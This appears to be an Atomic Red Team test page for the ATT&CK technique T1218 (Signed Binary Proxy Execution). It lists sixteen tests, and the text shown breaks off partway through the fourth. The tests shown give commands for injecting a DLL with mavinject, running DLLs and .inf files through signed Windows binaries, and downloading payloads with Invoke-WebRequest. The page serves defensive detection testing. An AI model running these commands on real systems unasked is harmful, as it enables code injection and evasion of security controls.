# T1218 - Signed Binary Proxy Execution

## Description from ATT&CK

> Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
> 
> Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

[Source](https://attack.mitre.org/techniques/T1218)

## Atomic Tests

- [Atomic Test #1: mavinject - Inject DLL into running process](#atomic-test-1-mavinject---inject-dll-into-running-process)
- [Atomic Test #2: Register-CimProvider - Execute evil dll](#atomic-test-2-register-cimprovider---execute-evil-dll)
- [Atomic Test #3: InfDefaultInstall.exe .inf Execution](#atomic-test-3-infdefaultinstallexe-inf-execution)
- [Atomic Test #4: ProtocolHandler.exe Downloaded a Suspicious File](#atomic-test-4-protocolhandlerexe-downloaded-a-suspicious-file)
- [Atomic Test #5: Microsoft.Workflow.Compiler.exe Payload Execution](#atomic-test-5-microsoftworkflowcompilerexe-payload-execution)
- [Atomic Test #6: Renamed Microsoft.Workflow.Compiler.exe Payload Executions](#atomic-test-6-renamed-microsoftworkflowcompilerexe-payload-executions)
- [Atomic Test #7: Invoke-ATHRemoteFXvGPUDisablementCommand base test](#atomic-test-7-invoke-athremotefxvgpudisablementcommand-base-test)
- [Atomic Test #8: DiskShadow Command Execution](#atomic-test-8-diskshadow-command-execution)
- [Atomic Test #9: Load Arbitrary DLL via Wuauclt (Windows Update Client)](#atomic-test-9-load-arbitrary-dll-via-wuauclt-windows-update-client)
- [Atomic Test #10: Lolbin Gpscript logon option](#atomic-test-10-lolbin-gpscript-logon-option)
- [Atomic Test #11: Lolbin Gpscript startup option](#atomic-test-11-lolbin-gpscript-startup-option)
- [Atomic Test #12: Lolbas ie4uinit.exe use as proxy](#atomic-test-12-lolbas-ie4uinitexe-use-as-proxy)
- [Atomic Test #13: LOLBAS CustomShellHost to Spawn Process](#atomic-test-13-lolbas-customshellhost-to-spawn-process)
- [Atomic Test #14: Provlaunch.exe Executes Arbitrary Command via Registry Key](#atomic-test-14-provlaunchexe-executes-arbitrary-command-via-registry-key)
- [Atomic Test #15: LOLBAS Msedge to Spawn Process](#atomic-test-15-lolbas-msedge-to-spawn-process)
- [Atomic Test #16: System Binary Proxy Execution - Wlrmdr Lolbin](#atomic-test-16-system-binary-proxy-execution---wlrmdr-lolbin)

### Atomic Test #1: mavinject - Inject DLL into running process

Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.

**Supported Platforms:** Windows

**auto_generated_guid:** `c426dacf-575d-4937-8611-a148a86a5e61`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| process_id | PID of process receiving injection | string | 1000|
| dll_payload | DLL to inject | path | PathToAtomicsFolder&#92;T1218&#92;src&#92;x64&#92;T1218.dll|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"
```


#### Dependencies: Run with `powershell`!

##### Description: T1218.dll must exist on disk at specified location (#{dll_payload})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
```

### Atomic Test #2: Register-CimProvider - Execute evil dll

Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB

**Supported Platforms:** Windows

**auto_generated_guid:** `ad2c17ed-f626-4061-b21e-b9804a6f3655`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dll_payload | DLL to execute | path | PathToAtomicsFolder&#92;T1218&#92;src&#92;Win32&#92;T1218-2.dll|

#### Attack Commands: Run with `command_prompt`!

```cmd
C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"
```


#### Dependencies: Run with `powershell`!

##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
```

### Atomic Test #3: InfDefaultInstall.exe .inf Execution

Test execution of a .inf using InfDefaultInstall.exe

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml

**Supported Platforms:** Windows

**auto_generated_guid:** `54ad7d5a-a1b5-472c-b6c4-f8090fb2daef`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| inf_to_execute | Local location of inf file | string | PathToAtomicsFolder&#92;T1218&#92;src&#92;Infdefaultinstall.inf|

#### Attack Commands: Run with `command_prompt`!

```cmd
InfDefaultInstall.exe "#{inf_to_execute}"
```


#### Dependencies: Run with `powershell`!

##### Description: INF file must exist on disk at specified location (#{inf_to_execute})

###### Check Prereq Commands

```powershell
if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
```

### Atomic Test #4: ProtocolHandler.exe Downloaded a Suspicious File

Emulates attack via documents through protocol handler in Microsoft Office.  On successful execution you should see Microsoft Word launch a blank file.

**Supported Platforms:** Windows

**auto_generated_guid:** `db020456-125b-4c8b-a4a7-487df8afb5a2`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_url | url to document | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx|

#### Attack Commands: Run with `command_prompt`!

```cm